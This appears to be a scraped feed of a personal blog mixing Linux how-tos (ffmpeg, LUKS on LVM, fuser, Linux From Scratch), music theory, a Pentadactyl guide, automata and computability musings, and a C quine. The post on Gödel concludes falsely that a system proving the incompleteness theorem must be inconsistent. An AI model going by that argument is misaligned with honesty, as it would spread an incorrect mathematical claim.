一种选择是只保留A，另一种是保留B和C。前者|S_c|为1，后者|S_c|为2。
]]>举个例子，一个班里传播消息通常都是班长群发消息给所有人，那么这里班长就是唯一的sender。当然有的时候1个sender是不够的，例如整个通信网络是一个森林的话，那么每棵树里至少得选一个sender。
我们不妨用一个有向带权图G=(V,E)来表示所有人及其之间的联系。每条边的权重w(e_i)表示消息在这条边传递的费用（不能通信时费用为正无穷大）。所有sender构成的集合S是V的一个子集。每个sender的花费是d。求一个花费最小的使得所有人都可接收消息的方案（每个人的花费计为从任一s \in S到他的最小费用路径）。
起初我以为这个问题和center selection有点像（Section 11.2, Algorithm Design）。后来发现就算简化成无向图且边权为1也不一样。三角不等式总是不保证满足的。
]]>Installation on Arch Linux:
yaourt -S glpk pulp
Homepage: http://code.google.com/p/pulp-or/
Case Study: https://www.coin-or.org/PuLP/CaseStudies/a_blending_problem.html
Sample Code (also pasted below): https://projects.coin-or.org/PuLP/browser/trunk/examples/WhiskasModel1.py?format=txt
#!/usr/bin/python
"""
The Simplified Whiskas Model Python Formulation for the PuLP Modeller
Authors: Antony Phillips, Dr Stuart Mitchell 2007
"""
# Import PuLP modeler functions
from pulp import *
# Create the 'prob' variable to contain the problem data
prob = LpProblem("The Whiskas Problem",LpMinimize)
# The 2 variables Beef and Chicken are created with a lower limit of zero
x1=LpVariable("ChickenPercent",0,None,LpInteger)
x2=LpVariable("BeefPercent",0)
# The objective function is added to 'prob' first
prob += 0.013*x1 + 0.008*x2, "Total Cost of Ingredients per can"
# The five constraints are entered
prob += x1 + x2 == 100, "PercentagesSum"
prob += 0.100*x1 + 0.200*x2 >= 8.0, "ProteinRequirement"
prob += 0.080*x1 + 0.100*x2 >= 6.0, "FatRequirement"
prob += 0.001*x1 + 0.005*x2 <= 2.0, "FibreRequirement"
prob += 0.002*x1 + 0.005*x2 <= 0.4, "SaltRequirement"
# The problem data is written to an .lp file
prob.writeLP("WhiskasModel.lp")
# The problem is solved using PuLP's choice of Solver
prob.solve()
# The status of the solution is printed to the screen
print "Status:", LpStatus[prob.status]
# Each of the variables is printed with it's resolved optimum value
for v in prob.variables():
print v.name, "=", v.varValue
# The optimised objective function value is printed to the screen
print "Total Cost of Ingredients per can = ", value(prob.objective)
]]>http://docs.python.org/release/3.1.3/library/copy.html#copy.deepcopy
]]>mencoder -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=800:mbd=2:trell:v4mv -vf dsize=480:320:0,scale=0:0 \ -oac lavc -lavcopts acodec=mp2:abitrate=320 -sub subtitle.srt -subcp utf-8 -subpos 100 \ -subfont 'WenQuanYi Micro Hei' -subfont-text-scale 4 -subfont-outline 3 \ -of avi in.mkv -o out.avi
此命令的作用是将in.mkv转换为out.avi，视频采用mpeg4编码，音频采用mp2编码，视频画面不大于480x320，保持高宽比，添加字幕文件subtitle.srt。
links:
先查看支持的codec和format
ffmpeg -codecs ffmpeg -formats
基本格式是
ffmpeg [main options] [infile options] -i infile [outfile options] outfile
其中[input options]/[output options]可以包含[video options]/[audio options]。
一些有用的选项：
一个示例
ffmpeg -y -i in.avi -vcodec libxvid -b 600k -acodec ac3 -ac 2 -ab 192k -s 320x176 -aspect 16:9 out.avi
Links:
应用程序由desktop entry(.desktop)描述，存放在
要用preferred application打开文件，使用xdg-open。
xdg-open先判断文件类型，然后到
xdg-mime可以修改默认文件关联。
查看文件的mime类型：
xdg-mime query filetype a.pdf
查看mime类型的应用程序关联：
xdg-mime query default application/pdf
修改mime类型的应用程序关联：
xdg-mime default evince.desktop application/pdf
当然也可以直接改defaults.list。
Links:
于是修改了一下/etc/cups/cupsd.conf，将LogLevel改成debug。然后随便lp个什么文档。检查/var/log/cups/error_log，发现有一行：
D [27/Feb/2011:18:17:13 +0800] [Job 12] /usr/local/bin/cifip2700: error while loading shared libraries: libpng12.so.0: cannot open shared object file: No such file or directory
大囧。安了libpng12之后就好了。
然后忽然想起寒假时候有个人给我发Email说我维护的AUR上的那个包缺少个depedency。上去一看果然是libpng12。我当时傻乎乎地把libpng当成dependency写上去了。好吧现在改过来了。
版本这种问题什么时候是个头……
]]>不幸地，停机问题$(HALT_{TM})$可以归约到$PROGRESS$和$\overline{MUTUAL\;EXCLUSION}$。
$HALT_{TM} \leq_m PROGRESS$
设HALT_{TM}中的算法为A，在A后面加上critical section构成A'。输出A'。
若A不停机，则critical section永远不会被执行，不满足progress。
若A停机，则critical section会被执行，满足progress。
$HALT_{TM} \leq_m \overline{MUTUAL\;EXCLUSION}$
设$HALT_{TM}$中的算法为A，在A后面加上critical section构成A'。输出A'。
若A停机，则不妨假设两个进程在执行A后sleep然后在很短时间内分别先后醒来进入critical section（两个进程之间没有通信，互不影响），从而不满足mutual exclusion。
若A不停机，则没有进程可以进入critical section，显然满足mutual exclusion。
所以$PROGRESS$和$\overline{MUTUAL\;EXCLUSION}$都是undecidable，显然$MUTUAL\;EXCLUSION$也是undecidable。
还有最后一线希望，如果能证明$PROGRESS\;AND\;MUTUAL\;EXCLUSION(PAME)$是decidable也好。可是$HALT_{TM}$也可以归约到$PAME$。
$HALT_{TM} \leq_m PAME$
设$HALT_{TM}$中的算法为A，在A后面加上Dijkstra's Mutual Exclusion Algorithm构成A'。输出A'。
Dijkstra's Mutual Exclusion Algorithm已经被证明满足mutual exclusion和progress。所以：
若A停机，则A'仍然满足mutual exclusion和progress，故$A' \in PAME$。
若A不停机，则A'不满足progress，故$A' \notin PAME$。
这下彻底没希望了。只能根据不同的分布式算法制定不同的策略了。
]]>dd if=/dev/zero of=disk0.img bs=1M count=1024 dd if=/dev/zero of=disk1.img bs=1M count=1024
losetup /dev/loop0 disk0.img losetup /dev/loop1 disk1.img
pvcreate /dev/loop0 pvcreate /dev/loop1
vgcreate vgdisk /dev/loop0 /dev/loop1
lvcreate -l [Total PE] -n lvdisk vgdisk （Total PE用vgdisplay查看）
cryptsetup luksFormat /dev/vgdisk/lvdisk cryptsetup luksOpen /dev/vgdisk/lvdisk luksdisk
mkfs.ext4 /dev/mapper/luksdisk
mount -t ext4 /dev/mapper/luksdisk /mnt
于是可以在/mnt下进行操作。操作完毕，可以按如下方法退出：
umount /mnt
cryptsetup luksClose luksdisk
lvchange -an /dev/vgdisk/lvdisk
vgchange -an vgdisk
losetup -d /dev/loop0 losetup -d /dev/loop1
这是就可以对disk0.img和disk1.img进行操作了，例如复制到其他计算机上。
既然用到了LVM，就是为了可以方便的修改容量。假使有一天现有的镜像容量不够了，可以加入新镜像（保持/dev/mapper/luksdisk已卸载但LUKS未关闭的状态）：
dd if=/dev/zero of=disk2.img bs=1M count=1024 losetup /dev/loop2 disk2.img pvcreate /dev/loop2 vgextend vgdisk /dev/loop2 lvresize -l [Total PE] /dev/vgdisk/lvdisk cryptsetup resize luksdisk e2fsck -f /dev/mapper/luksdisk resize2fs /dev/mapper/luksdisk
示意图如下（自下而上层级关系）：
声音是由物体振动产生的，音高由频率决定。为了保证不同的乐器合奏时遵循相同的音高标准，国际上规定了标准音高为a1=440Hz。这里的a1是钢琴上中央C上方的A音（即小字一组的A），同时也是吉他一弦五品发出的音。
有了这个标准的A音，通过十二平均律就可以产生出其他的音。一个八度就是频率相差两倍的音。将一个八度按照等比级数十二等分，就产生了一个八度内的各个音，如C,#C(bD),D,#D(bE),E,F,#F(bG),G,#G(bA),A,#A(bB),B,C(high)。可以算出后一个音的频率是前一个音的2开12次方约等于1.059倍。每两个音之间相差的叫做一个半音，一个全音等于两个半音。其中C,D,E,F,G,A,B被称为基本音级。C-D/D-E/F-G/G-A/A-B相差一个全音，而E-F/B-C(high)相差一个半音。（每个音的具体音高可参见http://zh.wikipedia.org/zh/音高）
定下音高之后就可以看音程了。音程就是两个音的音高距离，包含了两个概念：音级和音数。音级指两音之间包含了几个基本音，用度来表示。音数指两音之间包含的全音个数（半音计为1/2）。
音级的概念比较容易理解，参考基本音级即可。如C-C为一度，C-D为二度，E-G为三度，E-#G也是三度，E-A是四度，E-bA也是四度。咦，#G和bA不是相同的音高吗？是的，但是决定音级的度数的时候只看音名，接下来有更复杂的称呼来区分这些情况。
音数更加简单。只需要在十二平均律中查找相差的全音个数即可。如D-E的音数是1，D-F是1又1/2，F-A是2（注意D-F和F-A都是三度音程但音数不同）。
好了下面来处理一下更复杂的情况。我们在度数前引入如下称呼：大，小，纯，增，减，倍增，倍减。具体含义可以参见http://zh.wikipedia.org/zh/音程最下方的表格。
为什么有的叫纯x度，有的叫大/小x度呢？这需要对音程进行分类。一/四/五/八度听起来协和悦耳，所以叫完全协和音程；三/六度稍逊，叫不完全协和音程，二/七度听起来刺耳，所以叫不协和音程。对于完全协和音程，我们在前面冠以“纯”的字样，对于其他音程，冠以“大/小”字样。而“增/减/倍增/倍减”是所有音程都有的。音数相同音级可能不同，如倍增三度=增四度=减五度=倍减六度，前面已经说过了，想不起来查表即可。
可以开始说和弦了。和弦就是声音的组合，可以同时演奏（比如扫弦），也可以分开演奏（比如弹分解和弦）。按照组成方式的不同，和弦有很多种：三和弦，七和弦，九和弦，十一和弦，十三和弦，六和弦，挂留和弦等等。
三和弦是最基本的和弦，由三个音组成，按照从低到高分别成为根音、三音和五音。按照音程的不同，三和弦有4种：
常见的三和弦如：C-E-G（大三和弦），C-bE-G（小三和弦），等等。
三和弦上方再加一个七音就构成了七和弦。七和弦有16种：
可以看出七和弦的命名规律为：第一个字表示三和弦的种类，第二个字表示根音到七音的音程关系。当然常用的并没有这么多，如C-E-G-bB（大小七和弦），C-bE-G-bB（小小七和弦）等等。
七和弦上方再加一个九音就构成了九和弦。根据七和弦种类以及七音和九音间的关系可以分为大小九和弦（大小七和弦+大三度），大九和弦（大七和弦+小三度），小九和弦（小七和弦+大三度）等等。依此类推还可以构成十一和弦，十三和弦。
六和弦是三和弦上方加一个六度音，可以分为大六和弦（大三和弦+大二度），小六和弦（小三和弦+大二度）。
挂留和弦是对三和弦中的三音做调整。将大三和弦中的三音升高半音，构成一个纯四度+大二度，叫做挂四和弦。将小三和弦中的三音降低半音，构成一个大二度+纯四度，叫做挂二和弦。挂四和弦和挂二和弦中根音与五音都是纯五度。
现在可以看看吉他谱里那些常见的和弦记号了。开头的字母表示根音（以下都假设为C）。不加数字的表示三和弦，C表示大三和弦，Cm表示小三和弦。加数字的就按照数字决定，如带有7的都表示七和弦。具体地，C7表示大小七和弦，Cm7表示小小七和弦，Cmaj7表示大大七和弦，C9表示大小九和弦，Cm9表示小九和弦，C6表示大六和弦，Cm6表示小六和弦，Csus4表示挂四和弦，Csus2表示挂二和弦，C7sus4表示七挂四和弦……
一些有用的资料：
新系统跑起来就是快，开机10秒不到，新安装的发行版也就这个速度吧。啥时候能做一个1秒启动的就好了。
整个过程还是挺有趣的。大体上就是先在host上做一个host-independent/self-contained/self-hosted的toolchain，然后chroot到LFS目录，再用这个toolchain做出target上的所有东西。tools那个软链接很巧妙，使得chroot内外可以以相同的路径操作。制作toolchain备份的ld-new也很极品，在第二次调整toolchain时覆盖回来就OK了。在target上的bash使用+h选项禁用了hash，在PATH环境变量中把target的路径放在tools前面，从而使得新生成的工具可以立刻被使用。
最重要的三个软件包是binutils,gcc和glibc。binutils包含了一系列二进制工具，如as,ld,objdump，用来管理目标文件。gcc用来编译，并和binutils紧密集成。glibc是GNU的C runtime library。每次build的时候基本是一个glibc->binutils->gcc的顺序（第一次是个例外，因为我们想确保整个工作都是用自己的工具完成的，所以先编译了binutils和gcc）。每次glibc建造完成后就调整ld的search path和gcc的specs，使得接下来建造出的程序可以链接到新的glibc。当然其实一共只有两次，一次是host到temp toolchain，另一次是temp toolchain到target。
整体过程是binutils->gcc->glibc->[adjust toolchain(host->toolchain)]->binutils->gcc->[chroot into target]->glibc->[adjust toolchain(toolchain->target)]->binutils->gcc->all the rest。
遇到的问题么，也有一些。比如像解压缩用tar -jxvf还是tar -zxvf这种（应该写个小脚本的）……还有每个软件包的configure都不相同，还有各自不同的bug和patch，如果不是LFS的作者罗列出来，估计这就是近乎不可解的问题了。不过最严重的问题是，一旦退出了特定的环境，怎样可以保证返回到相同的环境下。Chapter 6开始的步骤要好好看，从chroot退出来再进去的时候不要忘了挂载那些需要挂载的东西。我一度白痴到纳闷target的/dev为什么没有设备文件……
最后启动的时候其实也不一定要写MBR，写PBR就够了，然后在host的grub里chainloader +1一下就OK了。
然后就可以reboot了，跳过两个grub过后就是我们可爱的小系统:)
有两个暂时没有解决的问题是：
建立LUKS加密分区：
cryptsetup luksFormat /dev/sda3
按提示输入密码即可完成。用luksDump可以查看已建立的分区信息：
cryptsetup luksDump /dev/sda3
可以设置多个密钥：
cryptsetup luksAddKey /dev/sda3 cryptsetup luksRemoveKey /dev/sda3
开启LUKS加密分区：
cryptsetup luksOpen /dev/sda3 mydisk
mydisk是分区的别名，可以修改。此时应该可以查看到/dev/mapper/mydisk设备文件。
这时就可以将/dev/mapper/mydisk当作其他磁盘设备文件一样操作了。例如格式化/挂载/卸载：
mkfs.ext4 /dev/mapper/mydisk mount /dev/mapper/mydisk /mnt umount /dev/mapper/mydisk
关闭LUKS加密分区：
cryptsetup luksClose /dev/mapper/mydisk]]>
所以就有了Workrave这种提醒软件。起初我不大相信这种东西，觉得自己知道时间，到时候下来了就好嘛。嗯，完全不是那么回事。无数次经历告诉我一用起电脑来就木有时间的概念了。
于是乎Workrave这种软件还是有必要的。它的作用就是在时间到了的时候提醒你：嗨，SB，时间到了，不想死快点下来。
有三种提醒：微间隙(Micro break)，休息间隙(Rest break)，每日时间上限(Daily limit)。挺不错的。
再者，笔记本键盘真是伤身，尤其是高度不合适的时候，整个后背的造型真是不自然。回去之后要淘个正常的键盘用。
说起键盘，一直向往那种可以套在手上的分掌键盘。有了这个，就不用坐着用电脑了。怎么不见有卖……
]]>Pentadactyl是源于Vimperator的一个Firefox插件，但是装上这个插件之后Firefox就不叫Firefox了叫Vim……
这个插件有一个缺点是浪费鼠标。
装了这个插件后启动Firefox时界面可能会有很大变化，熟悉的各种XX栏可能都会消失。恢复的办法是
set go+=mBT
这样子可能会熟悉一些。不过还是建议用
set go-=mBT
让它们消失吧。一旦你习惯了Pentadactyl你不会想看见它们的。
下文中<C-x>表示Ctrl+x，<A-x>表示Alt+x，<S-x>表示Shift+x，<M-x>表示Meta+x。
使用这个插件需要一定的Vim基础。最起码的，要知道模式的概念以及甩Esc可以回到Normal模式。还要知道:help是个有用的命令。
以下是有关导航的基本命令，有了这些就可以随心所欲浏览页面了。
要打开一个网页需要进入Command-line模式，用过Vim的一定不会陌生，就是按下冒号:后的那个模式。在Command-line模式下有如下基本命令：
其中小写与大写的区别是，小写会直接执行，大写会将当前URL作为参数显示出来，可以修改后回车确认再执行。
要关闭一个标签，在Normal模式下：
区别是，用d关闭后选择右边的标签，用D关闭后选择左边的标签。
还有一些常用的命令：
要退出Firefox怎么办呢？有两种方法：
区别是，zm和zr更狠。
和Vim中基本相同，也是用/和?
现在我们来看如何打开网页中的链接。这需要进入Pentadactyl的Hint模式。有两种方法可以使用：
最简单的，当前页面里有个链接，按下f键，链接上会出现数字，输入那个数字，就跳到那个链接去了。如果按下的是F键，则会在新标签中打开那个链接。如果按下的是;键，则还需要按下{mode}，具体请参见help。
在学会了爬链接之后我们再熟悉一下标签之间的跳转（确切地说应该是buffer之间的跳转）：
按下B键后可以看到所有的buffer，标记%的那个就是当前buffer，标记#的那个是alternate buffer。按下b键后会让你选择，你可以用数字或关键字跳转到指定buffer，也可以输入#跳转到alternate buffer。
第六课 书签
Pentadactyl支持Firefox的标准书签(Bookmarks)和自身特有的Quickmarks。
对Bookmarks的操作：
对Quickmarks的操作：
不爽的人各有各的不爽，不能自定义的工具不是好工具，是吧。
定义键位映射需要在Command-line模式下进行，需要的命令有：
举个例子吧。J和K两个键位闲着也是闲着，不如用它们来翻页。那我就可以用
:map J <C-d> :map K <C-u>
来定义两个映射。这样会比较保护小指一点吧。那么为什么需要noremap这个东西呢？看下面这个例子：
:map d D :map D d
这个会怎么样呢？会让Firefox死翘翘呀！你按下d，它变成D，又变成d，又变成D……就死翘翘啦！正确的做法是：
:noremap d D :noremap D d
这样子以-builtin方式定义，按下d，它变成D后就不再管其他的映射了，就不会出现死循环了。
Pentadactyl更强大的地方在于可以对不同模式进行不同的键位设定哦。Pentadactyl有如下几种主要的模式：Normal(n)，Visual(v)，Insert(i)，TextEdit(t)，Command-line(c)。其实上面的四个命令都是针对Normal和Visual模式的。要想定义其他模式下的键位映射，可以用如下格式的命令：
功能都是一样的，所以就不说了。
哎呀你不是已经退出了吧，退出的话刚才自定义的那些设定就都没有了啦！在退出之前要快快保存才是。保存的命令很简单：
这个文件一般是$HOME/.mkpentadactylrc。这样子自己的设定可以统统保存和备份，万一到新机器上直接copy过来用就是了。
到这里估计你已经习惯了Pentadactyl吧。不过有时候还是需要和Firefox打交道，比如设置个代理什么的。这时候有一个Command-line模式下的命令：
输入:dia {name}就可以打开指定的对话框了。对于常用的对话框，还有更简单的命令，例如pref，addons等等。
到这里你应该发现很多命令都可以用Tab轮询吧……
写到这里主要内容就算是完成了。最后介绍一点使用技巧，因人而异，也许你会用的上。
首先是gi的使用。这真的是个非常有用的命令，尤其是在搜索引擎上。你可以多按ESC使得页面停留在Normal模式下。当需要输入文字时按gi，就会自动定位到文本框了。
用<C-n>/<C-p>翻页是一个比较好的选择。但是在Insert模式下（比如在文本框中输入文字的时候）这两个键位没有被定义。所以按<C-n>的时候会打开一个新窗口，太糟糕了。解决一下：
:imap <C-n> <Esc>:tabnext<CR>
:imap <C-p> <Esc>:tabprev<CR>
想要快速搜索一个单词？只要在Firefox中设置好默认搜索引擎，按o键再输入那个单词就可以了。如果那个单词已经在剪贴板中，直接按p键更快。
在浏览器中打字感到厌烦？尝试一下外部编辑器吧。在Insert模式下输入<C-i>可以打开指定的外部编辑器，以Vim为例，写好之后:wq退出即可。如果不想要这么麻烦，可以输入<C-t>进入内置的Vi模式，也很不错。
看教程点Next是不是很罗嗦？有了Pentadactyl，你只需要按]]即可。同样的，[[相当于点击了页面中的Prev。来这里体验一下：http://docs.python.org/py3k/tutorial/modules.html
修改nextpattern/previouspattern使之支持Google搜索结果的翻页：
:set nextpattern=\s*下一页|下一张|下一篇|下页|后页\s*,^\bnext\b,\\bnext\\b,^>$,^(>>|»)$,^(>|»),(>|»)$,\\bmore\\b
:set previouspattern=\s*上一页|上一张|上一篇|上页|前页\s*,^\bprev|previous\b,\\bprev|previous\\b,^<$,^(<<|«)$,^(<|«),(<|«)$
看Blog翻页也很烦吧？试试<C-a>/<C-x>，它们会增减URL最后的数字，哈哈反正我用着是很有爽感啊。
就像Vim一样，很多命令前面是可以加数字的。
Define $shuff(L) = \{w0v | wv \in L\}$. If shuff(L) is regular, prove or disprove L is also regular.
Update. The original problem is at http://www.student.cs.uwaterloo.ca/~cs462/prob4.pdf
At first glance, it's not told whether 0 is in the alphabet of L. So there are two cases.
If 0 isn't in the alphabet of L, then it's easy. A homomorphism $h(0) = \epsilon$ will turn shuff(L) into L. So L must be regular.
If 0 is in the alphabet of L, then things are a little bit difficult. It took me several hours (including the sleeping time...) to find an instance that will disprove this proposition.
From now on we suppose the alphabet is {0,1}. Take L to be the complement of $\{0^n1^n0^n1^n | n > 0\}$. Of course $\overline{L}$ is non-regular. So is L, since regularity is closed under complement. But $shuff(L) = \{w | w$ contains at least one 0 $\}$, which is regular.
To see $shuff(L) = \{w | w$ contains at least one 0 $\}$, we must show $shuff(L) \subseteq \{w | w$ contains at least one 0 $\}$ and $\{w | w$ contains at least one 0 $\} \subseteq shuff(L)$. The first direction is trivial. To show the second direction, for any w in this language, we can eliminate one 0 (there must be at least one 0) and get w'. If w' is in L, then $w \in shuff(L)$. If w' isn't in L, then w' must be in $\overline{L} = \{0^n1^n0^n1^n | n > 0\}$. But for any $w' \in \overline{L}$, $shuff(w') = shuff(x')$ for a particular $x' \in L$ (the key of the proof but not hard to prove). So $w = shuff(w') = shuff(x') \in shuff(L)$. This completes the proof.
]]>A regular language L has finitely many equivalence classes. Since the whole number of equivalence classes is finite, there can be only finitely many equivalence classes which contain strings in L (which correspond to the accepting states in the minimal finite automaton), and finitely many equivalence classes which contain strings not in L (which correspond to the non-accepting states in the minimal finite automaton).
But what for a non-regular language L?
A little thought will give the example $L = \{ 0^n1^m: m \geq 0, m \leq n \leq 2m, n is even \}$. It's easy to prove L is non-regular so there are infinitely many equivalence classes:
Among these equivalence classes, $L_\alpha$ and $L_{1x}$ are not in L. And $L_{0x}$ is in L. There are both infinitely many equivalence classes that are in L and not in L.
Furthermore, the notes of Tom give an example of a non-regular language B that has finitely many equivalence classes in B, and infinitely many equivalence classes not in B. And we know $\overline{B}$ is also non-regular. And $\overline{B}$ has infinitely many equivalence classes in $\overline{B}$, and finitely many equivalence classes not in $\overline{B}$.
Therefore, there should be no restriction w.r.t. infinity about the equivalence classes of a non-regular language.
]]>This cookie format is used by wget.
]]>For any consistent, effectively generated formal theory that proves certain basic arithmetic truths, there is an arithmetical statement that is true, but not provable in the theory.
Now we consider a formal system A in which Gödel's first incompleteness theorem(G_1) can be proved.
If A is effectively generated, consistent and includes Peano arithmetic(PA), then G_1 explicitly gives a proposition P, and asserts P is both true and unprovable inside A. Because we can prove G_1 inside A, we can prove P is true. Also, we can prove P is unprovable inside A. But this is a contradiction.
Therefore, a formal system cannot possess all of the four properties below:
Since Property 1 and 3 are usually satisfied for ordinary systems, it may sound more elegant when reformulated as:
]]>For any formal system A, which is effectively generated and includes Peano arithmetic, if Gödel's first incompleteness theorem can be proved inside A, then A must be inconsistent.
看上去貌似比原来的大一些了。
这是个测试帖。
#include <stdio.h>
int main()
{
printf("blablabla~~%d\n",234);
return 0;
}
Bash的高亮应该还好用吧……
chmod -R 755 a.txt]]>
重新启动guest之后在全屏模式下就有不止800x600的分辨率了。
]]>http://www.embedded-bits.co.uk/2011/1-second-linux-boot-to-qt/
]]>里面用了convtoflac和sed。Arch用yaourt安装即可。
## ape2flac batch converter wrapper
## depend on: convtoflac,sed
##
## Cyker Way, Jun 2nd, 2011
import os,sys,shutil
# change ext to lower case
for root,dirs,files in os.walk(os.curdir):
for file in files:
fbas,fext = os.path.splitext(file)
os.rename(os.path.join(root,file),os.path.join(root,fbas+fext.lower()))
# move ape/flac + cue to the same folder
for root,dirs,files in os.walk(os.curdir):
for file in files:
fbas,fext = os.path.splitext(file)
rbas = os.path.basename(root)
# if ape/flac == cue != root
if (fext in ['.ape','.flac']) and \
(os.path.exists(os.path.join(root,fbas+'.cue'))) and \
(rbas != fbas):
newdir = os.path.join(root,fbas)
if not os.path.exists(newdir):
os.makedirs(newdir)
oldfile = os.path.join(root,file)
newfile = os.path.join(newdir,file)
shutil.move(oldfile,newfile)
oldcue = os.path.join(root,fbas+'.cue')
newcue = os.path.join(newdir,fbas+'.cue')
shutil.move(oldcue,newcue)
# convert ape to flac
for root,dirs,files in os.walk(os.curdir):
for file in files:
fbas,fext = os.path.splitext(file)
fbas2 = fbas.replace('(APE)','(FLAC)').replace('(ape)','(flac)')
rbas = os.path.basename(root)
rbas2 = rbas.replace('(APE)','(FLAC)').replace('(ape)','(flac)')
# if ape == cue
if (fext in ['.ape']) and (os.path.exists(os.path.join(root,fbas+'.cue'))):
# convert ape to flac, delete ape
os.system("convtoflac -c5 -d '"+os.path.join(root,file)+"'")
# change flac name
os.rename(os.path.join(root,fbas+'.flac'),os.path.join(root,fbas2+'.flac'))
# change cue name
os.rename(os.path.join(root,fbas+'.cue'),os.path.join(root,fbas2+'.cue'))
# change cue content
os.system("sed -e '/^FILE/s/ape/flac/' -e '/^FILE/s/APE/FLAC/' -i '"+os.path.join(root,fbas2+'.cue')+"'")
# change root name
os.rename(root,os.path.join(os.path.split(root)[0],rbas2))
]]>To see which process is using the device (suppose the mountpoint is /mnt)
fuser -cv /mnt
To kill the process:
fuser -ck /mnt
fuser can also be used to check which process is using certain TCP/UDP ports:
fuser -v -n tcp 4662]]>
It's the place where the most spectacular photos lie.
http://www.georgesteinmetz.com/
Don't miss it!
]]>http://pdos.csail.mit.edu/6.828/2010/lec/l-josmem.html
反正这东西明白了就很简单。就是把整个页表在virtual address上map到以VPT<<22（这里指virtual address）开始的连续地址空间（一共4MB），这样就可以用页表项作为数组索引连续访问整个页表了。没有映射损失，反正是virtual address，就拨出一块专门放页表而已。
我说Operating System Concepts这书在写JOS的时候能有一点点一点点用么？
]]>http://www.earlham.edu/~peters/courses/logsys/turing2.htm (This proof looks cool. But I think in step (3) it should be $n+d$ rather than $n+1$.)
http://cis.csuohio.edu/~somos/beaver.ps (This proof not only proves $\Sigma (n)$, i.e., busy beaver function, is uncomputable, but also shows that $\Sigma (n)$ grows faster than any computable function asymptotically.)
I think up of a proof using the recursion theorem. Suppose there is a TM $B$ that can compute the busy beaver function, then construct a TM $M$, starting on blank tape, do the following operation:
First let's describe the quine in a generic way. (You can skip this if you already know it.) From Recursion Theorem, a quine can be broken into two parts: A and B. Part B's rule is to first do a computation on the given input, then print the computation result followed by the given input. For now, you don't need to wonder where to get the input.
The computation can be roughly defined as:
Given an input w, compute the program that can output w.
Although there may be many ways to do this, we make an agreement that we always use a fixed way consistently.
Note that B only depends on the computation. You can write the program B from the rule given above, without knowing A.
Now let's come to Part A. A's rule is easy. A just outputs B using the fixed way. Note that A depends on B. But since you've already written out B, you can write out A now.
The whole quine Q is AB, which means first A runs then B runs. When A finishes, it will outputs B. When B starts, it will see the input, which is B itself. Then B do the above computation to figure out the program that outputs B. Since we always use a fixed way, the computation result will be exactly A . Therefore, according to B's rule, B just prints A and B, which is Q when concatenated! Q prints Q!
It's time to implement it using a real programming language. In this example we use C. Note that we use two different terms output and print, which is not differed in the Turing machine description. They are differed here because we actually write to different places for the two terms. For output, we write to a string (char * in C). For print, we write to console.
Thus B will get its input from a char * variable. Denote this variable by s. A quick thought should give you the implementation of B:
printf("void main() { char *s=\"%s\"; %s }",s,s);
Here the fixed way to output a string means to always assign it to a char * variable s. Since A just outputs B, the program for A can be formed by assigning the above program B to a char * variable s (actually A should do more work such as including void main and curly braces):
void main() { char *s="printf(\"void main() { char *s=\\\"%s\\\"; %s }\",s,s);"; }
Put A and B together, we get:
void main() { char *s="printf(\"void main() { char *s=\\\"%s\\\"; %s }\",s,s);"; printf("void main() { char *s=\"%s\"; %s }",s,s); }
Run it, we get:
void main() { char *s="printf("void main() { char *s=\"%s\"; %s }",s,s);"; printf("void main() { char *s=\"%s\"; %s }",s,s); }
It seems to work, but is affected by escapes. Where does the problem lie? The computation in B is wrong! Originally we think it's nothing but wrapping it with quotes and prefixing the whole expression with a char *s=. Actually more work needs to be done: the escape. The computation should be done in the following steps:
But how to implement the escape? If the language you use provides this feature, you're lucky. But you can always write one yourself. I give a buggy version below (see the final quine), with potential buffer overflow and memory leak (which can be easily fixed).
Then how to make the whole program a quine with this additional function? The trick is that you can treat it as part of A (and part of the computation). This means you add a new step at the beginning of the computation, which is
The behavior of A (and the computation) doesn't change with this additional step. But you need to rewrite B according to this new computation since the preamble changes. Then make A from the new B. Finally you combine them together to make a quine Q. The final version of Q is given below:
char * escape(char *s) { char *t = malloc(1024); int i = 0,j = 0; for (;i < strlen(s);i++) { if (s[i] == '\\' || s[i] == '\'' || s[i] == '\"') t[j++] = '\\'; t[j++] = s[i]; } t[j] = 0; return t; } void main() { char *s="printf(\"char * escape(char *s) { char *t = malloc(1024); int i = 0,j = 0; for (;i < strlen(s);i++) { if (s[i] == \\\'\\\\\\\\\\\' || s[i] == \\\'\\\\\\\'\\\' || s[i] == \\\'\\\\\\\"\\\') t[j++] = \\\'\\\\\\\\\\\'; t[j++] = s[i]; } t[j] = 0; return t; } void main() { char *s=\\\"%s\\\"; %s }\",escape(s),s);"; printf("char * escape(char *s) { char *t = malloc(1024); int i = 0,j = 0; for (;i < strlen(s);i++) { if (s[i] == \'\\\\\' || s[i] == \'\\\'\' || s[i] == \'\\\"\') t[j++] = \'\\\\\'; t[j++] = s[i]; } t[j] = 0; return t; } void main() { char *s=\"%s\"; %s }",escape(s),s); }
This is exactly the program that will prints itself when it runs. But it is not easy to understand, so I provide the same program with proper line breaks and indentations:
char * escape(char *s)
{
char *t = malloc(1024);
int i = 0,j = 0; for (;i < strlen(s);i++) {
if (s[i] == '\\' || s[i] == '\'' || s[i] == '\"')
t[j++] = '\\';
t[j++] = s[i];
}
t[j] = 0;
return t;
}
void main()
{
char *s="printf(\"char * escape(char *s) { char *t = malloc(1024); int i = 0,j = 0; for (;i < strlen(s);i++) { if (s[i] == \\\'\\\\\\\\\\\' || s[i] == \\\'\\\\\\\'\\\' || s[i] == \\\'\\\\\\\"\\\') t[j++] = \\\'\\\\\\\\\\\'; t[j++] = s[i]; } t[j] = 0; return t; } void main() { char *s=\\\"%s\\\"; %s }\",escape(s),s);";
printf("char * escape(char *s) { char *t = malloc(1024); int i = 0,j = 0; for (;i < strlen(s);i++) { if (s[i] == \'\\\\\' || s[i] == \'\\\'\' || s[i] == \'\\\"\') t[j++] = \'\\\\\'; t[j++] = s[i]; } t[j] = 0; return t; } void main() { char *s=\"%s\"; %s }",escape(s),s);
}
Don't be misled by a lot of backslashes, there're just two rounds of escaping, first from the preamble to B, second from B to A.
Finally, the methods for making a quine can be summarized as three steps:
Figure out the computation.
Make B with the computation built in.
Make A, which just outputs B.
Quiz.
(Hint: Add stuff to A.)
]]>Automata
This templates uses pgf/tikz.
Note. On Arch Linux, you can install the texlive-pictures package, which contains pgf/tikz.
\documentclass[a4paper]{article}
\usepackage{amsmath,amsfonts,amsthm,amssymb}
\usepackage{pgf,tikz}
\usetikzlibrary{shapes,arrows,automata,positioning}
\begin{document}
\thispagestyle{empty}
